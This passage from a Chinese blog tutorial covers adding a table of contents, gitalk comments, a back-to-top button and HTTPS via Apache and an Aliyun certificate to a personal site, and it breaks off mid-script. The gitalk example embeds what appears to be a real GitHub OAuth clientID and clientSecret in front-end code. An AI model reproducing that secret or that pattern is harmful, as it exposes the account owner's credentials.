<p>第一篇文章是整个都会展示出来,但是后面的文章只会展示一部分,因此我们只需要为第一篇文章生成目录,这个时候就有一个问题,第一篇文章在专栏页面和正文页面都是完全显示的,因此在这两个地方都要生成目录,在专栏页面正文存在于<code><aside id="featured" class="body"></code>,在正文页面文章存在于<code><section id="content" class="body"></code>,因此需要进行判断,如果存在<code>featured</code>这个ID,就要从<code>featured</code>中去取出文章正文进行标题的提取和目录生成,如果不存在,则从<code>content</code>这个ID中处理,这样可以避免,在专栏页面出现后几篇文章的目录也合并到第一篇的目录中的问题,具体代码可以<strong>参考网站html源码</strong></p>
<h3>根据实际情况对代码进行改进</h3>
<p>在后来的使用过程中,发现<code><a name="中文"></code>会出现锚点无法定位的问题,遂将目录生成代码作如下更改:</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">toc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="p">;</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">level</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"featured"</span><span class="p">).</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"featured"</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/<h([\d])>([^<]+)<\/h([\d])>/gi</span><span class="p">,</span>
<span class="kd">function</span><span class="p">(</span><span class="nx">str</span><span class="p">,</span><span class="w"> </span><span class="nx">openLevel</span><span class="p">,</span><span class="w"> </span><span class="nx">titleText</span><span class="p">,</span><span class="w"> </span><span class="nx">closeLevel</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">openLevel</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nx">closeLevel</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">str</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">openLevel</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nx">level</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">toc</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="p">(</span><span class="ow">new</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">openLevel</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">level</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">1</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="s2">"<ul>"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">openLevel</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">level</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">toc</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="p">(</span><span class="ow">new</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">level</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">openLevel</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">1</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="s2">"</ul>"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">level</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">openLevel</span><span class="p">);</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">anchor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">titleText</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/ /g</span><span class="p">,</span><span class="w"> </span><span class="s2">"_"</span><span class="p">);</span>
<span class="w"> </span><span class="c1">//替换掉中文的左右括号</span>
<span class="w"> </span><span class="nx">anchor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">anchor</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="s2">"("</span><span class="p">,</span><span class="w"> </span><span class="s2">"_"</span><span class="p">);</span>
<span class="w"> </span><span class="nx">anchor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">anchor</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="s2">")"</span><span class="p">,</span><span class="w"> </span><span class="s2">"_"</span><span class="p">);</span>
<span class="w"> </span><span class="nx">anchor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">pinyin</span><span class="p">.</span><span class="nx">getFullChars</span><span class="p">(</span><span class="nx">anchor</span><span class="p">);</span>
<span class="w"> </span><span class="nx">toc</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="sb">` < li > <a href = "#qqq`</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">anchor</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="sb">`" > `</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">titleText</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"</a></li>"</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="sb">` < h`</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">openLevel</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="sb">`class = "wusoifghbsudfgbuslfhnsdl" > <a id = "qqq`</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">anchor</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="sb">`" > `</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">titleText</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"</a></h"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">closeLevel</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">">"</span><span class="p">;</span>
<span class="p">});</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">level</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">toc</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="p">(</span><span class="ow">new</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">level</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">1</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="s2">"</ul>"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"toc"</span><span class="p">).</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="nx">toc</span><span class="p">;</span>
</code></pre></div>
<p>这里我是去网上找了一个汉字转拼音的js脚本,将每个小标题的内容转换成对应的拼音作为锚点,<a href="http://144.34.164.217/theme/css/1.js">脚本位置</a></p>
<h2>增加评论功能</h2>
<p>使用开源的<a href="https://github.com/gitalk/gitalk/blob/master/readme-cn.md">gitalk</a>为网站增加评论功能,首先在<code><head></head></code>中引入js脚本:</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">"stylesheet"</span> <span class="na">href</span><span class="o">=</span><span class="s">"https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.css"</span><span class="p">></span>
<span class="p"><</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">"https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.min.js"</span><span class="p">></span>
</code></pre></div>
<p>然后在网页中添加如下js代码:</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">gitalk</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">Gitalk</span><span class="p">({</span>
<span class="w"> </span><span class="nx">clientID</span><span class="o">:</span><span class="w"> </span><span class="s1">'ff9b5af164834eeaab76'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">clientSecret</span><span class="o">:</span><span class="w"> </span><span class="s1">'036a95b190dbc132a44d26990b69c2a266b599bf'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">repo</span><span class="o">:</span><span class="w"> </span><span class="s1">'gitalk'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">owner</span><span class="o">:</span><span class="w"> </span><span class="s1">'wqreytuk'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">admin</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="s1">'wqreytuk'</span><span class="p">],</span>
<span class="w"> </span><span class="nx">number</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span>
<span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="w"> </span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">,</span>
<span class="w"> </span><span class="nx">distractionFreeMode</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span>
<span class="p">});</span>
<span class="nx">gitalk</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="s1">'gitalk-container'</span><span class="p">)</span>
</code></pre></div>
<p>其中<code>clientID</code>和<code>clientSecret</code>在<a href="https://github.com/settings/applications/new">注册</a>完<strong>GitHub Application</strong>后即可获得,<code>repo</code>是我们专门创建的用于开设<code>issue</code>的仓库,<code>owner</code>和<code>admin</code>直接填自己的github用户名就行了,<code>number</code>就是我们开的<code>issue</code>的编号:</p>
<p><img alt="image-20200917025000611" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LeLsPhtPVe.jpg"></p>
<p>然后在合适的位置插入如下html代码:</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">div</span> <span class="na">id</span><span class="o">=</span><span class="s">"gitalk-container"</span><span class="p">></</span><span class="nt">div</span><span class="p">></span>
</code></pre></div>
<p>最终效果如下:</p>
<p><img alt="image-20200917025217102" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/PqefbWCoyX.jpg"></p>
<h2>增加回到顶部按钮</h2>
<p>在css文件中加入以下内容:</p>
<div class="highlight"><pre><span></span><code><span class="p">.</span><span class="nc">top</span><span class="p">{</span>
<span class="w"> </span><span class="c">/* width: 50px; */</span>
<span class="w"> </span><span class="c">/* height: 50px; */</span>
<span class="w"> </span><span class="k">background-color</span><span class="p">:</span><span class="w"> </span><span class="mh">#fcf8e3</span><span class="p">;</span>
<span class="w"> </span><span class="k">border-radius</span><span class="p">:</span><span class="w"> </span><span class="mi">50</span><span class="kt">%</span><span class="p">;</span>
<span class="w"> </span><span class="k">position</span><span class="p">:</span><span class="w"> </span><span class="kc">fixed</span><span class="p">;</span>
<span class="w"> </span><span class="k">right</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="kt">px</span><span class="p">;</span>
<span class="w"> </span><span class="k">bottom</span><span class="p">:</span><span class="w"> </span><span class="mi">20</span><span class="kt">px</span><span class="p">;</span>
<span class="w"> </span><span class="k">right</span><span class="p">:</span><span class="w"> </span><span class="mi">20</span><span class="kt">px</span><span class="p">;</span>
<span class="w"> </span><span class="k">z-index</span><span class="p">:</span><span class="w"> </span><span class="mi">1111111111</span><span class="p">;</span>
<span class="p">}</span>
<span class="nt">img</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">border</span><span class="p">:</span><span class="w"> </span><span class="kc">solid</span><span class="w"> </span><span class="mf">2.5</span><span class="kt">px</span><span class="w"> </span><span class="kc">black</span><span class="p">;</span>
<span class="w"> </span><span class="k">display</span><span class="p">:</span><span class="w"> </span><span class="kc">block</span><span class="p">;</span>
<span class="w"> </span><span class="k">margin</span><span class="p">:</span><span class="w"> </span><span class="kc">auto</span><span class="p">;</span>
<span class="w"> </span><span class="k">max-width</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
<span class="w"> </span><span class="k">max-height</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">.</span><span class="nc">show-txt</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">display</span><span class="p">:</span><span class="w"> </span><span class="kc">none</span><span class="p">;</span>
<span class="w"> </span><span class="k">position</span><span class="p">:</span><span class="w"> </span><span class="kc">absolute</span><span class="p">;</span>
<span class="w"> </span><span class="k">top</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">bottom</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">left</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">right</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">border-radius</span><span class="p">:</span><span class="w"> </span><span class="mi">50</span><span class="kt">%</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-webkit-</span><span class="n">box-align</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-ms-</span><span class="n">flex-align</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="k">align-items</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-webkit-</span><span class="n">box-pack</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-ms-</span><span class="n">flex-pack</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="k">justify-content</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="k">font-size</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="kt">px</span><span class="p">;</span>
<span class="w"> </span><span class="k">line-height</span><span class="p">:</span><span class="w"> </span><span class="mi">14</span><span class="kt">px</span><span class="p">;</span>
<span class="w"> </span><span class="k">color</span><span class="p">:</span><span class="w"> </span><span class="mh">#999aaa</span><span class="p">;</span>
<span class="w"> </span><span class="k">background-color</span><span class="p">:</span><span class="w"> </span><span class="mh">#fff</span><span class="p">;</span>
<span class="w"> </span><span class="k">text-align</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="k">opacity</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-webkit-</span><span class="k">transition</span><span class="p">:</span><span class="w"> </span><span class="k">opacity</span><span class="w"> </span><span class="mf">.3</span><span class="kt">s</span><span class="w"> </span><span class="kc">ease-in-out</span><span class="p">;</span>
<span class="w"> </span><span class="k">transition</span><span class="p">:</span><span class="w"> </span><span class="k">opacity</span><span class="w"> </span><span class="mf">.3</span><span class="kt">s</span><span class="w"> </span><span class="kc">ease-in-out</span><span class="p">;</span>
<span class="p">}</span>
<span class="nt">a</span><span class="p">.</span><span class="nc">option-box</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">position</span><span class="p">:</span><span class="w"> </span><span class="kc">relative</span><span class="p">;</span>
<span class="w"> </span><span class="k">display</span><span class="p">:</span><span class="w"> </span><span class="bp">-webkit-</span><span class="n">box</span><span class="p">;</span>
<span class="w"> </span><span class="k">display</span><span class="p">:</span><span class="w"> </span><span class="bp">-ms-</span><span class="n">flexbox</span><span class="p">;</span>
<span class="w"> </span><span class="k">display</span><span class="p">:</span><span class="w"> </span><span class="kc">flex</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-webkit-</span><span class="n">box-orient</span><span class="p">:</span><span class="w"> </span><span class="kc">vertical</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-webkit-</span><span class="n">box-direction</span><span class="p">:</span><span class="w"> </span><span class="kc">normal</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-ms-</span><span class="k">flex-direction</span><span class="p">:</span><span class="w"> </span><span class="kc">column</span><span class="p">;</span>
<span class="w"> </span><span class="k">flex-direction</span><span class="p">:</span><span class="w"> </span><span class="kc">column</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-webkit-</span><span class="n">box-align</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-ms-</span><span class="n">flex-align</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="k">align-items</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-webkit-</span><span class="n">box-pack</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-ms-</span><span class="n">flex-pack</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="k">justify-content</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="k">border-radius</span><span class="p">:</span><span class="w"> </span><span class="mi">50</span><span class="kt">%</span><span class="p">;</span>
<span class="w"> </span><span class="k">background</span><span class="p">:</span><span class="w"> </span><span class="mh">#000</span><span class="p">;</span>
<span class="w"> </span><span class="kp">-webkit-</span><span class="k">box-shadow</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="mi">2</span><span class="kt">px</span><span class="w"> </span><span class="mi">4</span><span class="kt">px</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="nb">rgb</span><span class="p">(</span><span class="mi">0</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mi">5</span><span class="kt">%</span><span class="p">);</span>
<span class="w"> </span><span class="k">box-shadow</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="mi">2</span><span class="kt">px</span><span class="w"> </span><span class="mi">4</span><span class="kt">px</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="nb">rgb</span><span class="p">(</span><span class="mi">0</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mi">5</span><span class="kt">%</span><span class="p">);</span>
<span class="w"> </span><span class="k">background-color</span><span class="p">:</span><span class="w"> </span><span class="mh">#fff</span><span class="p">;</span>
<span class="w"> </span><span class="k">text-align</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="k">height</span><span class="p">:</span><span class="w"> </span><span class="mi">44</span><span class="kt">px</span><span class="p">;</span>
<span class="w"> </span><span class="k">width</span><span class="p">:</span><span class="w"> </span><span class="mi">44</span><span class="kt">px</span><span class="p">;</span>
<span class="w"> </span><span class="k">cursor</span><span class="p">:</span><span class="w"> </span><span class="kc">pointer</span><span class="p">;</span>
<span class="w"> </span><span class="c">/* margin-top: 8px; */</span>
<span class="w"> </span><span class="k">z-index</span><span class="p">:</span><span class="w"> </span><span class="mi">11111111</span><span class="p">;</span>
<span class="p">}</span>
<span class="c">/*目的是实现在鼠标经过回到顶部按钮时从图标切换成文字的效果*/</span>
<span class="nt">a</span><span class="p">.</span><span class="nc">option-box</span><span class="p">:</span><span class="nd">hover</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">display</span><span class="p">:</span><span class="w"> </span><span class="bp">-webkit-</span><span class="n">box</span><span class="p">;</span>
<span class="w"> </span><span class="c">/* opacity: 100; */</span>
<span class="p">}</span>
</code></pre></div>
<p>在网页中加入以下代码以实现动态滚动效果:</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">myTimer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">-</span><span class="mf">1</span><span class="p">;</span>
<span class="nx">$</span><span class="p">(</span><span class="s2">".option-box"</span><span class="p">).</span><span class="nx">click</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">scrollTo</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">documentElement</span><span class="p">.</span><span class="nx">scrollTop</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">scrollTop</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">myTimer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">-</span><span class="mf">1</span><span class="p">){</span><span class="w"> </span>
<span class="w"> </span><span class="nx">myTimer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">setInterval</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span><span class="w"> </span>
<span class="w"> </span><span class="nx">scrollTo</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span><span class="mf">60</span><span class="p">;</span><span class="w"> </span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">scrollTo</span><span class="o"><=</span><span class="mf">0</span><span class="p">){</span><span class="w"> </span>
<span class="w"> </span><span class="nx">scrollTo</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span>
<span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">clearInterval</span><span class="p">(</span><span class="nx">myTimer</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="nx">myTimer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">-</span><span class="mf">1</span><span class="p">;</span><span class="w"> </span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span>
<span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">scrollTo</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="nx">scrollTo</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">10</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="p">}</span>
<span class="p">})</span>
</code></pre></div>
<p>最后在网页中插入如下代码即可:</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">html</span><span class="p">></span>
<span class="p"><</span><span class="nt">head</span><span class="p">></</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">"top"</span><span class="p">></span>
<span class="p"><</span><span class="nt">a</span> <span class="na">class</span><span class="o">=</span><span class="s">"option-box"</span> <span class="na">data-type</span><span class="o">=</span><span class="s">"gotop"</span><span class="p">></span>
<span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"https://g.csdnimg.cn/side-toolbar/3.0/images/fanhuidingbucopy.png"</span> <span class="na">alt</span><span class="o">=</span><span class="s">""</span> <span class="na">srcset</span><span class="o">=</span><span class="s">""</span> <span class="p">/></span>
<span class="p"><</span><span class="nt">span</span> <span class="na">class</span><span class="o">=</span><span class="s">"show-txt"</span><span class="p">></span>
返回
<span class="p"><</span><span class="nt">br</span> <span class="p">/></span>
顶部
<span class="p"></</span><span class="nt">span</span><span class="p">></span>
<span class="p"></</span><span class="nt">a</span><span class="p">></span>
<span class="p"></</span><span class="nt">div</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></span>
<span class="p"></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<h2>给网站加上小绿锁(https)</h2>
<p><a href="https://penhub.space/httpstong-xin-guo-cheng.html#">深入了解https</a></p>
<p>首先我们要搞一个证书,可以直接在阿里云免费申请</p>
<p>首先,访问<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fhome.console.aliyun.com%2F%3Fspm%3D5176.20789949.J_8058803260.24.435f59bcONyUGZ">这里</a>登录阿里云控制台</p>
<p>然后直接搜索<strong>证书</strong>,然后从搜索结果中选择<strong>SSL证书(应用安全)</strong></p>
<p><img alt="1604822814589" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wkQxTliXOp.jpg"></p>
<p>在这里购买免费证书即可</p>
<p><img alt="1604822873787" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/vVXaLWgWEN.jpg"></p>
<p>在购买之后阿里云会对你的域名所有权进行验证,验证方式就是检查你的域名有没有添加指定的txt记录:</p>
<p><img alt="1604823009282" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/GCIrThAWer.jpg"></p>
<p>然后我们按照提示填好所有的信息即可,我当时等待了十多分钟就申请下来了</p>
<p>然后就是将证书文件下载下来解压放到我们的服务器上,只要不是临时目录,随便一个目录都行,下面这三个文件分别是证书链文件、私钥和证书文件,我们可以使用<code>openssl</code>命令自行解析证书文件:<code>openssl x509 -in 4731935_www.yourdomain.com_public.crt -text -noout</code></p>
<p><img alt="1604823115928" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/eoPclFUOSW.jpg"></p>
<p>你可能会发现openssl解析出来的公钥内容和浏览器解析出来的公钥内容不太一样,开头多了一个<code>30 82 01 0a 02 82 01 01</code>,结尾多了一个<code>02 03 01 00 01</code>,参考<a href="https://stackoverflow.com/questions/23570858/why-does-cer-file-public-key-not-contain-rsa-exponent">这里</a>可知,这两部分是两个固定字段</p>
<p><img alt="1604933010723" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/DKckCiKWYn.jpg"></p>
<p>证书链文件用于提供给客户端进行<a href="https://support.dnsimple.com/articles/what-is-ssl-certificate-chain/">认证机构的回溯</a>,私钥对则用于对通信过程中所使用的对称算法密钥进行加解密,证书文件中包含了公钥信息</p>
<p><img alt="1604879804992" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ldmmTDoGbW.jpg"></p>
<p><strong>这里的证书链文件中的内容其实就是<code>Encryption Everywhere DV TLS CA -G1</code>的证书,因为一般情况下,浏览器只存储根证书,因此我们需要向浏览器提供次级CA机构的证书,这样浏览器就会使用该次级CA机构的公钥对我们的证书进行验证,确定我们的证书是使用该次级CA机构的私钥进行过签名的,然后再使用root CA机构的公钥验证该次级CA的证书是被root CA的私钥签名过的,至此我们的证书验证也就完成了,服务器身份确认</strong></p>
<p>我这里使用的是apache2服务器,仅作参考</p>
<p>首先我们要启用ssl模块,直接使用<code>a2enmod ssl</code>即可,然后我们要在<code>/etc/apache2/sites-enabled</code>目录下创建一个<code>/etc/apache2/sites-available/default-ssl.conf</code>的软链接:<code>a2ensite default-ssl</code></p>
<p>然后编辑<code>/etc/apache2/sites-available/default-ssl.conf</code>内容:</p>
<div class="highlight"><pre><span></span><code>root@localhost:/etc/apache2/sites-enabled#<span class="w"> </span>cat<span class="w"> </span><span class="m">000</span>-default-ssl.conf<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-v<span class="w"> </span><span class="s2">"#"</span>
<IfModule<span class="w"> </span>mod_ssl.c>
<span class="w"> </span><VirtualHost<span class="w"> </span>_default_:443>
<span class="w"> </span>ServerAdmin<span class="w"> </span><span class="m">11111111</span>@qq.com
<span class="w"> </span>DocumentRoot<span class="w"> </span>/var/www/html
<span class="w"> </span>ServerName<span class="w"> </span>yourdomain.com
<span class="w"> </span>ErrorLog<span class="w"> </span><span class="si">${</span><span class="nv">APACHE_LOG_DIR</span><span class="si">}</span>/error.log
<span class="w"> </span>CustomLog<span class="w"> </span><span class="si">${</span><span class="nv">APACHE_LOG_DIR</span><span class="si">}</span>/access.log<span class="w"> </span>combined
<span class="w"> </span>SSLEngine<span class="w"> </span>on
<span class="w"> </span>SSLCertificateFile<span class="w"> </span>/etc/apache2/sites-available/4731935_www.yourdomain.com_public.crt
<span class="w"> </span>SSLCertificateKeyFile<span class="w"> </span>/etc/apache2/sites-available/4731935_www.yourdomain.com.key
<span class="w"> </span>SSLCertificateChainFile<span class="w"> </span>/etc/apache2/sites-available/4731935_www.yourdomain.com_chain.crt
<span class="w"> </span><FilesMatch<span class="w"> </span><span class="s2">"\.(cgi|shtml|phtml|php)</span>$<span class="s2">"</span>>
<span class="w"> </span>SSLOptions<span class="w"> </span>+StdEnvVars
<span class="w"> </span></FilesMatch>
<span class="w"> </span><Directory<span class="w"> </span>/usr/lib/cgi-bin>
<span class="w"> </span>SSLOptions<span class="w"> </span>+StdEnvVars
<span class="w"> </span></Directory>
<span class="w"> </span></VirtualHost>
</IfModule>
</code></pre></div>
<p>最后一个问题就是http重定向至https,这里我没有使用apache2自带的rewrite功能,而是使用了js脚本进行替换:</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">str</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">;</span>
